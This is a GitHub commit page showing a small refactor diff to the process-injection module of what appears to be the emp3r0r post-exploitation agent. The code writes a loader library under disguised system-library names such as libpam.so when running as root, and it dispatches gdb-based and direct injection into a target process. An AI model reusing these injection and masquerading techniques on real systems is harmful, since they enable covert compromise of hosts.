Skip to content

Commit

Permalink
refactor
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jun 29, 2023
1 parent cfff2ea commit 3db3ef1
Showing 1 changed file with 1 addition and 19 deletions.
20 changes: 1 addition & 19 deletions core/lib/agent/injector.go
Original file line number Diff line number Diff line change
Expand Up @@ -89,8 +89,7 @@ func prepare_loader_so(pid int) (so_path string, err error) {
so_path = fmt.Sprintf("/%s/libtinfo.so.2.1.%d",
RuntimeConfig.UtilsPath, util.RandInt(0, 30))
if os.Geteuid() == 0 {
root_so_path := fmt.Sprintf("/usr/lib/x86_64-linux-gnu/libpam.so.1.%d.1", util.RandInt(0, 20))
so_path = root_so_path
so_path = fmt.Sprintf("/usr/lib/x86_64-linux-gnu/libpam.so.1.%d.1", util.RandInt(0, 20))
}
if !util.IsExist(so_path) {
out, err := golpe.ExtractFileFromString(file.LoaderSO_Data)
Expand Down Expand Up @@ -167,17 +166,7 @@ func InjectorHandler(pid int, method string) (err error) {
// dispatch
switch method {
case "gdb_loader":
err = CopySelfTo("/tmp/emp3r0r")
if err != nil {
return
}
err = GDBInjectLoader(pid)
if err == nil {
err = os.RemoveAll("/tmp/emp3r0r")
if err != nil {
return
}
}

case "gdb_shared_lib":
so_path, e := prepare_shared_lib()
Expand All @@ -197,14 +186,7 @@ func InjectorHandler(pid int, method string) (err error) {
err = CopyProcExeTo(pid, util.ProcExePath(pid)) // as long as the process is still running

case "inject_loader":
err = CopySelfTo("/tmp/emp3r0r")
if err != nil {
return
}
err = InjectLoader(pid)
if err == nil {
err = os.RemoveAll("/tmp/emp3r0r")
}

case "shared_library":
so_path, e := prepare_shared_lib()
Expand Down

0 comments on commit 3db3ef1

Please sign in to comment.